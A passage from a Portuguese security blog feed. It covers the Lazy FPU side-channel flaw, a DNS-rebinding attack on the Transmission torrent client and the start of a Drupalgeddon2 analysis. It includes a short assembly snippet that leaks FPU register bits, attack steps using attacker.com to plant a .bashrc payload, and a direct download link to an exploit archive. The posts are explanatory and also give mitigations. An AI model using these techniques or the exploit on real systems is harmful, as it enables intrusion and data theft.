<p><span class="notranslate">Outro caso de uso interessante dessa vulnerabilidade é a criação de canais ocultos de alto desempenho entre as VMs.</span> <span class="notranslate">Ao usar todos os conjuntos de registros e controlar a frequência de programação do núcleo, é possível maximizar a taxa de transferência até o intervalo de MB / s.</span></p>
<p><span class="notranslate">Os usuários são afetados quando executam uma combinação de processador afetado e sistemas operacionais afetados.</span></p>
<ul>
<li><span class="notranslate">Sistemas Operacionais Afetados:</span>
<ul>
<li><span class="notranslate">Linux:</span>
<ul>
<li><span class="notranslate">versões do kernel &lt;4.9 com parâmetros de inicialização não padrão ( <code>eagerfpu=off</code> ) são afetados</span></li>
<li><span class="notranslate">versões do kernel &lt;4.6 rodando nos processadores Intel afetados antes do <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Haswell_(microarchitecture)&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgcRqGZvPS-tb5eM8xAILW22l2A3Q" rel="nofollow noopener">Haswell</a> ou com parâmetros de inicialização personalizados ( <code>eagerfpu=off</code> ou <code>noxsave</code> )</span></li>
<li><span class="notranslate">versões do kernel 4.4.y com y &lt;138 tem um bug em sua ansiosa troca de FPU</span></li>
<li><span class="notranslate">versões do kernel &lt;3.7 em todas as CPUs afetadas</span></li>
<li><span class="notranslate">As versões do kernel Linux começando com 4.9 não são afetadas, independentemente da CPU.</span></li>
</ul>
</li>
<li><span class="notranslate">FreeBSD</span></li>
<li><span class="notranslate">Microsoft Windows, consulte o aviso <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180016&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhjf9SJMzZ4sYNU4bMPO5W1FoUbIJA" rel="nofollow noopener">ADV180016</a></span></li>
</ul>
</li>
<li><span class="notranslate">Hipervisores afetados:</span>
<ul>
<li><span class="notranslate">KVM quando executado em versões de kernel do Linux afetadas</span></li>
<li><span class="notranslate">Todas as versões do Xen e geralmente todos os hipervisores que empregam <em>comutação preguiçosa do FPU</em></span></li>
</ul>
</li>
<li><span class="notranslate">CPUs afetadas quando o sistema operacional afetado ou o hipervisor é usado:</span>
<ul>
<li><span class="notranslate">Verificamos o problema na microarquitetura Intel Core de <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Sandy_Bridge&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgsSerpIusF1_ywf5mq1K4TuGPZCg" rel="nofollow noopener">Sandy Bridge</a> para <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Skylake_(microarchitecture)&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhiUL9em8Uq93udKJ5Gc8FTbFzAxMg" rel="nofollow noopener">Skylake</a></span></li>
<li><span class="notranslate">Estado de outros processadores não é claro neste momento</span></li>
</ul>
</li>
</ul>
<p><span class="notranslate">A atenuação requer que o software do sistema use a comutação <em>ansiosa</em> FPU em vez da comutação <em>lenta do</em> FPU.</span></p>
<h2 id="technical-background"><span class="notranslate">Antecedentes Técnicos</span></h2>
<p><span class="notranslate">Esta vulnerabilidade é semelhante ao <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://blog.cyberus-technology.de/posts/2018-01-03-meltdown.html&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhhzmxdkNib6ZbP7jRSM3CZ3-mu9dQ" rel="nofollow noopener">Meltdown (CVE-2017-5754)</a> .</span> <span class="notranslate">Enquanto o Meltdown permitia ler o conteúdo da memória protegida de um programa de espaço do usuário, esse novo ataque permite ler determinados conteúdos de registro nos limites do domínio de proteção.</span></p>
<p><span class="notranslate">Para explorar a vulnerabilidade, o invasor acessa os registros FPU que ele não tem permissão para acessar ainda.</span> <span class="notranslate">Esse valor proibido é alimentado em um cálculo de endereço que é usado para um acesso de memória subseqüente.</span> <span class="notranslate">A CPU executará esta série de instruções especulativamente, ou seja, o conteúdo do registro correspondente é esmagado quando detecta seu erro.</span></p>
<p><span class="notranslate">Em seguida, ele tenta ler / gravar de / para um endereço de memória que contém o valor de registro proibido como parte de seu deslocamento de endereço.</span> <span class="notranslate">A CPU executará especulativamente essa série de cargas e armazenamentos, mas detectará e corrigirá seu erro.</span><span class="notranslate">No entanto, essa execução especulativa deixa rastros no cache que podem vazar informações ocultas para o invasor.</span></p>
<p><span class="notranslate">Para entender melhor como esse ataque realmente funciona, é necessário aprofundar o funcionamento interno do x86 FPU e como ele é usado pelos sistemas operacionais.</span></p>
<h3 id="the-floating-point-unit-fpu"><span class="notranslate">A unidade de ponto flutuante (FPU)</span></h3>
<p><span class="notranslate">Nos primórdios do x86, o FPU (também chamado de coprocessador matemático) era um coprocessador externo que poderia ser adicionado à arquitetura de processador x86 adotada agora pela Intel.</span> <span class="notranslate">O <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Intel_8087&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgp_rSy7K47fwaPzNkNm1jabvp3JQ" rel="nofollow noopener">Intel 8087</a> foi o primeiro co-processador matemático de ponto flutuante deste tipo.</span> <span class="notranslate">O objetivo dessa extensão era acelerar as operações matemáticas em números de ponto flutuante, como divisão e multiplicação.</span> <span class="notranslate">Com o <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Intel_80486&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhisrWfBSNQEi2JncEOF26OaPjWe1g" rel="nofollow noopener">modelo de CPU Intel 486DX</a> (lançado em 1989), o FPU foi integrado ao próprio microchip.</span> <span class="notranslate">Dessa forma, nenhum coprocessador adicional era necessário.</span></p>
<p><span class="notranslate">Ao longo dos anos, o processador foi estendido para suportar conjuntos de <em>instruções de instrução única, dados múltiplos</em> (SIMD), ou seja, MMX / SSE / AVX.</span> <span class="notranslate">As instruções SIMD executam a mesma operação matemática em vários pares de operandos ao mesmo tempo para melhorar o desempenho.</span> <span class="notranslate">Cada uma dessas extensões de conjunto de instruções introduziu novos conjuntos de registradores que continuam sendo gerenciados como parte do estado do registro da FPU.</span> <span class="notranslate">Em processadores Intel recentes, o estado do registrador FPU pode conter mais de 2 kB de dados (o AVX2 oferece 32 registradores de 512 bits cada, o que se traduz em um estado de processador adicional de 2 kB).</span> <span class="notranslate">Devido à utilidade destas instruções, este conjunto de registros pode conter não apenas valores de ponto flutuante, mas também outros dados como, por exemplo, valores inteiros.</span></p>
<h3 id="loading-and-storing-the-fpu-state"><span class="notranslate">Carregando e armazenando o estado do FPU</span></h3>
<p><span class="notranslate">Para habilitar a multitarefa, os sistemas operacionais interrompem periodicamente os processos para dar a outros processos a chance de serem executados.</span> <span class="notranslate">Caso contrário, um único processo que faz um loop para sempre poderia parar o sistema.</span></p>
<p><span class="notranslate">Quando o sistema operacional alterna de um processo para outro, ele precisa salvar o estado do processo anterior e restaurar o estado do processo que está prestes a ser executado.</span> <span class="notranslate">Este estado consiste nos valores armazenados em registradores de propósito geral e registros FPU.</span></p>
<p><span class="notranslate">A arquitetura de instruções x86 fornece várias instruções para carregar / armazenar o estado do registrador da FPU de / para a memória.</span> <span class="notranslate">Já sabemos sobre o tamanho grande do estado da FPU, portanto, é bastante óbvio que não se deseja ler e gravar tais quantidades de dados em todas as mudanças de contexto, a menos que seja realmente necessário, porque nem todos os processos usam a FPU.</span></p>
<h3 id="eager-and-lazy-fpu-switching"><span class="notranslate">Comutação FPU ansiosa e lenta</span></h3>
<p><span class="notranslate">O comutador FPU ansioso é comparável a salvar o estado de registrador de propósito geral em um comutador de contexto.</span> <span class="notranslate">Para cada processo, o sistema operacional reserva uma área na memória para salvar o estado da FPU.</span> <span class="notranslate">Ao alternar de um processo para outro, ele executa uma instrução de armazenamento de FPU para transferir o conteúdo da FPU atual para a área de salvamento do estado.</span> <span class="notranslate">Em seguida, ele carrega o novo estado FPU da área de salvamento do estado do processo que está prestes a ser planejado.</span></p>
<p><span class="notranslate">A comutação FPU preguiçosa otimiza este procedimento para o caso em que nem todo processo usa o FPU o tempo todo.</span></p>
<p><span class="notranslate">Após uma troca de contexto, a FPU é desativada até ser usada pela primeira vez.</span> <span class="notranslate">Só então, o antigo estado FPU será salvo e o correto será restaurado da memória.</span> <span class="notranslate">Até este ponto, o FPU mantém o estado do registro do processo ou da VM que o usou por último.</span></p>
<p><span class="notranslate">Para implementar essa otimização, o kernel do sistema operacional desabilita temporariamente o FPU definindo um certo bit de registro de controle ( <code>CR0.TS</code> ).</span> <span class="notranslate">Se este bit estiver definido, qualquer tentativa de acessar o FPU causará uma exceção ( <code>#NM</code> , <em>Dispositivo não disponível, Nenhum coprocessador matemático</em> ).</span> <span class="notranslate">Quando a exceção ocorre, o kernel pode salvar o estado antigo na respectiva área de estado e restaurar o estado do processo atual.</span> <span class="notranslate">Os processos que simplesmente não usam o FPU nunca acionam essa exceção e, portanto, nunca acionam armazenamentos e cargas de estado do FPU.</span></p>
<p><span class="notranslate">Começando com a introdução da <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/X86-64&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhhWlqqOalA2pVQCndA7rlfnTHsjmQ" rel="nofollow noopener">arquitetura x86-64</a> , a presença de pelo menos algumas extensões de conjuntos de instruções SIMD é obrigatória e seu uso se tornou mais difundido.</span><span class="notranslate">Como tal, a suposição subjacente de comutação de FPU preguiçosa não é mais válida.</span> <span class="notranslate">O ganho de desempenho pela comutação preguiçosa do FPU tornou-se insignificante, e alguns núcleos já o removeram em favor de troca rápida.</span></p>
<h3 id="the-attack"><span class="notranslate">O ataque</span></h3>
<p><span class="notranslate">O ataque funciona lendo o conteúdo do registro FPU enquanto o FPU está desabilitado e divulgando o conteúdo através de um canal lateral baseado em cache.</span> <span class="notranslate">Neste ponto, o FPU contém o conteúdo do registro do último processo que o utilizou.</span></p>
<p><span class="notranslate">Para tornar esse ataque prático, é necessário ocultar a exceção que normalmente ocorre ao acessar o FPU.</span> <span class="notranslate">Encontramos três maneiras diferentes de fazer isso:</span></p>
<h4 id="method-1-executing-the-attack-in-the-shadow-of-a-pagefault"><span class="notranslate">Executando o ataque na sombra de um pagefault</span></h4>
<p><span class="notranslate">Todas as três versões funcionam de forma semelhante.</span> <span class="notranslate">Uma versão simplificada do pagefault poderia ser assim:</span></p>
<pre class="sourceCode asm"><code class="sourceCode fasm"><a id="cb1-1" class="sourceLine" data-line-number="1"></a><span class="bu">mov</span> <span class="dt">dword</span> [<span class="dv">0</span>], <span class="dv">0</span>         <span class="co">; Aciona um pagefault</span>
<a id="cb1-2" class="sourceLine" data-line-number="2"></a><span class="bu">movq</span> <span class="kw">rax</span>, <span class="kw">xmm0</span>           <span class="co">; Lê o conteúdo de xmm0, acionando #NM</span>
<a id="cb1-3" class="sourceLine" data-line-number="3"></a><span class="bu">and</span> <span class="kw">rax</span>, <span class="dv">1</span>               <span class="co">; máscara bit 0</span>
<a id="cb1-4" class="sourceLine" data-line-number="4"></a><span class="bu">shl</span> <span class="kw">rax</span>, <span class="dv">6</span>               <span class="co">; alinhando à linha de cache</span>
<a id="cb1-5" class="sourceLine" data-line-number="5"></a><span class="bu">mov</span> <span class="dt">dword</span> [mem + <span class="kw">rax</span>], <span class="dv">0</span> <span class="co">; acessando "mem" com offset dependendo do conteúdo de xmm0

</span></code></pre>
<h3 id="the-attack"><span class="notranslate">O ataque</span></h3>
<p><span class="notranslate">O truque aqui é que a exceção <code>#NM</code> nunca ocorre, porque a instrução que toca no registrador FPU <code>xmm0</code> é executada apenas especulativamente.</span> <span class="notranslate">No entanto, o local da memória tocado depende do valor de <code>xmm0</code> e esse valor pode ser recuperado usando o mesmo ataque flush-and-reload que também é usado no Meltdown e no Specter.</span> <span class="notranslate"><code>mem</code> é apenas um buffer de memória comum que é acessível ao aplicativo.</span> <span class="notranslate">Neste ponto, estamos de volta ao estado inicial e podemos tentar novamente o ataque para vazar todo o estado do registro, bit por bit (sempre mascarando um bit diferente na etapa <code>and</code> do snippet de código).</span></p>
<p>OBS:  N<span class="notranslate">ote que o código de exemplo neste artigo apenas lê um único bit por uma questão de simplicidade.</span> <span class="notranslate">Mas a prova de conceito dos descobridores da vulnerabilidade lê vários bytes ao mesmo tempo, a fim de reduzir ainda mais o tamanho da janela de tempo necessária.</span></p>
<p><strong>Existem outros 2 métodos de ataque que a pedido da Intel não foram publicados pelos descobridores da falha.</strong></p>
<h3 id="practicability"><span class="notranslate">Praticabilidade</span></h3>
<p><span class="notranslate">A praticabilidade do ataque varia de acordo com os diferentes métodos para empregá-lo: O atacante precisa de uma janela de tempo em que nenhuma interrupção pelo sistema operacional ocorra para ler todos os bits do registro, porque toda preempção tem a chance de alterar o estado do registrador e tornar o resultado inútil.</span> <span class="notranslate">Assim, quanto mais rápido o método de ataque, maior a probabilidade de sucesso.</span></p>
<h2 id="mitigation"><span class="notranslate">Mitigação</span></h2>
<p><span class="notranslate">Usando servidores <strong>Linux</strong> com versões de kernel&gt; = 3.7, este ataque pode ser mitigado adicionando “ <code>eagerfpu=on</code> ” aos parâmetros de inicialização do kernel.</span> <span class="notranslate">Não temos conhecimento de uma solução alternativa para versões mais antigas.</span> <span class="notranslate">Para todos os outros sistemas operacionais: instale as atualizações oficiais do fornecedor.</span></p>
<p><span class="notranslate">Não estamos cientes de uma penalidade de desempenho causada pelo uso de uma rápida troca de FPU.</span> <span class="notranslate">A <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://github.com/torvalds/linux/commit/58122bf1d856a4ea9581d62a07c557d997d46a19&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhh9QhiGS8vQR5grfXhOms-qfzzXBg" rel="nofollow noopener">mensagem de commit do patch do kernel do Linux</a> que fez com que o FPU ansioso mudasse o padrão dos sistemas Linux até mesmo aponta que as suposições que justificaram a comutação lenta do FPU no passado não se sustentam mais na maioria dos sistemas modernos.</span></p>
<p>&nbsp;</p>
<p>Pesquisa e tradução: Marcio Mariano Galvão &#8211; Team Linux Force.</p>
<p>Fonte: blog.cyberus-technology.de</p>
<style type="text/css" scoped>
    .mauticform_wrapper 
		{ float: left; max-width: 600px; margin: 10px auto; color: #6f6f6f; font-weight: 400; font-family: 'Source Sans Pro', 'Helvetica Neue', 'Arial', 'sans-serif';font-size: 18px;}
    .mauticform-innerform 
		{}
    .mauticform-post-success 
		{}
    .mauticform-name 
		{ font-weight: bold; font-size: 1.5em; margin-bottom: 3px; }
    .mauticform-description 
		{ margin-top: 2px; margin-bottom: 10px; }
    .mauticform-error 
		{ margin-bottom: 10px; color: red; }
    .mauticform-message 
		{ margin-bottom: 10px;color: green; }
    .mauticform-row 
		{ display: block; margin-bottom: 20px; }
    .mauticform-label 
		{ float: left ; font-size: 1.1em; display: block; font-weight: bold; margin-bottom: 3px; margin-top: 11px; margin-right: 20px; }
    .mauticform-row.mauticform-required .mauticform-label:after 
		{ color: #e32; content: " *"; display: inline; }
    .mauticform-helpmessage 
		{ display: block; font-size: 0.9em; margin-bottom: 3px; }
    .mauticform-errormsg 
		{ display: block; color: red; margin-top: 2px; }
    .mauticform-selectbox
		{ width: 100%; padding: 0.5em 0.5em; border: 1px solid #CCC; background: #fff; box-shadow: 0px 0px 0px #fff inset; border-radius: 4px; box-sizing: border-box; }
	.mauticform-input
		{ float: right; margin-top: 10px; }
	.mauticform-textarea 
		{ width: 100%; padding: 0.5em 0.5em; border: 1px solid #CCC; background: #fff; box-shadow: 0px 0px 0px #fff inset; border-radius: 4px; box-sizing: border-box; margin-top: 10px;}
    .mauticform-checkboxgrp-row 
		{}
    .mauticform-checkboxgrp-label 
	{ font-weight: normal; }
    .mauticform-checkboxgrp-checkbox 
	{}
    .mauticform-radiogrp-row 
	{}
    .mauticform-radiogrp-label 
	{ font-weight: normal; }
    .mauticform-radiogrp-radio 
	{}
    .mauticform-button-wrapper .mauticform-button.btn-default 
	{ color: #5d6c7c;background-color: #ffffff;border-color: #dddddd;}
    .mauticform-button-wrapper .mauticform-button 
	{ display: inline-block;margin-bottom: 0;font-weight: 600;text-align: center;vertical-align: middle;cursor: pointer;background-image: none;border: 1px solid transparent;white-space: nowrap;padding: 6px 12px;font-size: 13px;line-height: 1.3856;border-radius: 3px;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}
    .mauticform-button-wrapper .mauticform-button.btn-default[disabled] 
	{ background-color: #ffffff; border-color: #dddddd;}
</style>
<div id="mauticform_wrapper_formulariotestemautic" class="mauticform_wrapper">
<form autocomplete="false" role="form" method="post" action="https://mkt.linuxforce.com.br/form/submit?formId=1" id="mauticform_formulariotestemautic" data-mautic-form="formulariotestemautic" enctype="multipart/form-data">
<div class="mauticform-error" id="mauticform_formulariotestemautic_error"></div>
<div class="mauticform-message" id="mauticform_formulariotestemautic_message"></div>
<div class="mauticform-innerform">
<div class="mauticform-page-wrapper mauticform-page-1" data-mautic-form-page="1">
<div id="mauticform_formulariotestemautic_nome" data-validate="nome" data-validation-type="text" class="mauticform-row mauticform-text mauticform-field-1 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_nome" for="mauticform_input_formulariotestemautic_nome" class="mauticform-label">Nome</label><br />
                <input id="mauticform_input_formulariotestemautic_nome" name="mauticform[nome]" value="" class="mauticform-input" type="text"><br />
                <span class="mauticform-errormsg" style="display: none;">This is required.</span>
            </div>
<div id="mauticform_formulariotestemautic_seu_email" data-validate="seu_email" data-validation-type="email" class="mauticform-row mauticform-email mauticform-field-2 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_seu_email" for="mauticform_input_formulariotestemautic_seu_email" class="mauticform-label">Seu email</label><br />
                <input id="mauticform_input_formulariotestemautic_seu_email" name="mauticform[seu_email]" value="" class="mauticform-input" type="email"><br />
                <span class="mauticform-errormsg" style="display: none;">Precisamos do seu email para te retornar!</span>
            </div>
<div id="mauticform_formulariotestemautic_telefone1" data-validate="telefone1" data-validation-type="tel" class="mauticform-row mauticform-tel mauticform-field-3 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_telefone1" for="mauticform_input_formulariotestemautic_telefone1" class="mauticform-label">Telefone</label><br />
                <input id="mauticform_input_formulariotestemautic_telefone1" name="mauticform[telefone1]" value="" class="mauticform-input" type="tel"><br />
                <span class="mauticform-errormsg" style="display: none;">This is required.</span>
            </div>
<div id="mauticform_formulariotestemautic_mensagem" class="mauticform-row mauticform-text mauticform-field-4">
                <label id="mauticform_label_formulariotestemautic_mensagem" for="mauticform_input_formulariotestemautic_mensagem" class="mauticform-label">Mensagem</label><br />
                <textarea id="mauticform_input_formulariotestemautic_mensagem" name="mauticform[mensagem]" class="mauticform-textarea"></textarea><br />
                <span class="mauticform-errormsg" style="display: none;"></span>
            </div>
<div id="mauticform_formulariotestemautic_submit" class="mauticform-row mauticform-button-wrapper mauticform-field-5">
                <button type="submit" name="mauticform[submit]" id="mauticform_input_formulariotestemautic_submit" value="" class="mauticform-button btn btn-default">Submit</button>
            </div>
</p></div>
</p></div>
<p>        <input type="hidden" name="mauticform[formId]" id="mauticform_formulariotestemautic_id" value="1"><br />
        <input type="hidden" name="mauticform[return]" id="mauticform_formulariotestemautic_return" value=""><br />
        <input type="hidden" name="mauticform[formName]" id="mauticform_formulariotestemautic_name" value="formulariotestemautic"></p></form>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Transmission Torrent Vulnerável &#124; Exploit disponível neste artigo!</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/transmission-torrent-vulneravel/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:27 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1497</guid>

					<description><![CDATA[O aplicativo de torrent Transmission utilizado em muitas distribuições Linux está vulnerável em todas as suas versões e afeta inclusive sistemas Windows e muito provavelmente MacOS. A nossa recomendação é desinstalar o aplicativo pelo menos até que uma correção seja divulgada ou então ativar a proteção por senha da interface JSON RPC sugerida pelos desenvolvedores [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>O aplicativo de torrent Transmission utilizado em muitas distribuições Linux está vulnerável em todas as suas versões e afeta inclusive sistemas Windows e muito provavelmente MacOS. A nossa recomendação é desinstalar o aplicativo pelo menos até que uma correção seja divulgada ou então ativar a proteção por senha da interface JSON RPC sugerida pelos desenvolvedores do Transmission sobre a falha, você pode encontrar o arquivo para configurar a senha para o JSON RPC no Ubuntu em /home/&#8221;seu-usuário&#8221;/.config/transmission/settings.json.</p>
<p>Devemos agradecer esta descoberta ao team do Project Zero do Google, mais especificamente a Tavis Ormandy. Para quem não sabe, o Project Zero se trata de um team de engenheiros do Google especializado em descobrir falhas de segurança, o mesmo team que descobriu as falhas nos processadores Intel e outras arquiteturas recentemente. Vale lembrar que o mesmo tipo de falha muito provavelmente está presente em outros aplicativos de torrent segundo afirmações de Ormandy.</p>
<p>&nbsp;</p>
<p><span class="notranslate">De acordo com a vulnerabilidade relatada, Usando um ataque do tipo <strong>DNS Rebinding</strong> os atacantes podem assumir o controle dos sistemas dos usuários criando um nome DNS com o qual estão autorizados a se comunicar e, em seguida, redirecionam para o nome &#8220;localhost&#8221; do computador vulnerável.</span> <span class="notranslate">Em uma publicação separada ao publicar o patch para o mesmo, Ormandy afirmou que <strong>o ataque ocorre da seguinte maneira:</strong></span></p>
<ol>
<li><span class="notranslate">Um usuário visita <code>http://attacker.com</code> , que tem um <code>&lt;iframe&gt;</code> para um subdomínio que o invasor controla.</span></li>
<li><span class="notranslate">O invasor configura seu servidor DNS para responder alternadamente com <code>127.0.0.1</code> e<code>123.123.123.123</code> (um endereço que eles controlam) com um TTL muito baixo.</span></li>
<li><span class="notranslate">Quando o navegador resolve o <code>123.123.123.123</code> , eles atendem HTML que espera que a entrada do DNS expire (ou forçam a expirar inundando o cache com pesquisas), então eles têm permissão para ler e definir cabeçalhos.</span></li>
</ol>
<p>&nbsp;</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/01/DNS-Rebinding.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1500" src="https://www.linuxforce.com.br/wp-content/uploads/2018/01/DNS-Rebinding.jpg" alt="" width="696" height="332" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate">Usando a vulnerabilidade acima, o invasor pode alterar o diretório de download do Torrent para o diretório inicial do usuário e, em seguida, fazer a Transmissão baixar um Torrent chamado &#8220;.bashrc&#8221; que seria executado automaticamente na próxima vez que o usuário abrir uma bash Shell.</span> <span class="notranslate"><strong>Os atacantes também ganham a capacidade de configurar remotamente a transmissão</strong> para executar qualquer comando de sua escolha depois de um download ter sido concluído.</span></p>
<p>Segue abaixo link para Download do Exploit direto do Github da Offensive Security:</p>
<p><strong>Download</strong>:<strong> <a href="https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip" rel="nofollow noopener">https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip</a></strong></p>
<p>O arquivo esta em formato MD após sua extração, formato utilizado e recomendado pelo Github para desenvolvedores, qualquer dúvida pesquisem antes.</p>
<p>Quer ser um profissional de segurança da informação e aprender a utilizar este entre outros milhares de exploits? basta chamar em nosso chat online e falar com um de nossos atendentes para tirar todas as dúvidas.</p>
<p>Para os usuários Linux e fãs de torrent assim como nós, fica a dica de nosso team &gt; <strong>Em computador usado para trabalho com dados que precisam ser resguardados, menos e sempre mais, quanto mais cru e enxuto for seu sistema que usa para trabalho, mais seguro ele será!</strong></p>
<p>Fontes: Google Security Research, Exploit-db.com</p>
<p>&nbsp;</p>
<p>[mautic type=&#8221;form&#8221; id=&#8221;4&#8243;]</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Drupal Remote Code Execution &#8211; DrupalGeddon2 &lt; 7.58 / &lt; 8.3.9 / &lt; 8.4.6 / &lt; 8.5.1</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/#respond</comments>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:27 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1548</guid>

					<description><![CDATA[No final de março, os desenvolvedores do Drupal lançaram uma atualização para abordar o CVE-2018-7600, uma falha de execução remota de código altamente crítica que pode ser explorada para assumir o controle total de um site. A falha de segurança afeta o Drupal 6, 7 e 8, e os patches foram lançados para cada uma das [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span class="notranslate">No final de março, os desenvolvedores do Drupal lançaram uma atualização para abordar o CVE-2018-7600, uma falha de execução remota de código altamente crítica que pode ser explorada para assumir o controle total de um site.</span> <span class="notranslate">A falha de segurança afeta o Drupal 6, 7 e 8, e os patches foram lançados para cada uma das versões impactadas &#8211; o Drupal 6 não é mais suportado desde fevereiro de 2016, mas um patch ainda foi criado.</span></p>
<p><span class="notranslate">Especialistas alertaram na época que a exploração da vulnerabilidade, apelidada de <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://www.securityweek.com/drupalgeddon-critical-flaw-exposes-million-drupal-websites-attacks&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhjjnib8kNGPHE_oUTTfzzRjgSBm4w" target="_blank" rel="noopener noreferrer nofollow">Drupalgeddon2</a> , era iminente.</span> <span class="notranslate">No entanto, demorou cerca de duas semanas para que uma exploração de prova de conceito (PoC) se tornasse publicamente disponível.</span></p>
<p><span class="notranslate">Pesquisadores da Check Point e especialistas em Drupal da Dofinity trabalharam juntos para descobrir a vulnerabilidade e na quinta-feira publicaram uma análise técnica detalhada e que nós da Linux Force Security traduzimos para o português e disponibilizamos logo abaixo:</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Detalhes técnicos</strong></span></p>
<p><span class="notranslate"><strong>A vulnerabilidade</strong></span></p>
<p><span class="notranslate">Para fornecer algumas informações básicas, a API Form do Drupal foi introduzida no Drupal 6 e permitiu a alteração dos dados do formulário durante o processo de renderização do formulário.</span> <span class="notranslate">Isso revolucionou a forma como o processamento de marcação foi feito.</span></p>
<p><span class="notranslate">No Drupal 7, a API Form foi generalizada para o que hoje é conhecido como “Renderable Arrays”.</span> <span class="notranslate">Essa API estendida é usada para representar a estrutura da maioria dos elementos da interface do usuário no Drupal, como páginas, blocos, nós e muito mais.</span></p>
<p><span class="notranslate">Matrizes renderizáveis ​​contêm metadados que são usados ​​no processo de renderização.</span> <span class="notranslate">Esses arrays renderizáveis ​​são uma estrutura de valor-chave na qual as chaves de propriedade começam com um sinal de hash (#).</span> <span class="notranslate">Por favor, veja abaixo um exemplo:</span></p>
<p style="text-align: center;"><span class="notranslate">[</span><br />
<span class="notranslate">&#8216;#type&#8217; =&gt; &#8216;marcação&#8217;,</span><br />
<span class="notranslate">&#8216;#markup&#8217; =&gt; &#8216;&lt;em&gt; algum texto &lt;/ em&gt;&#8217;,</span><br />
<span class="notranslate">&#8216;#prefix&#8217; =&gt; &#8216;&lt;div&gt;&#8217;,</span><br />
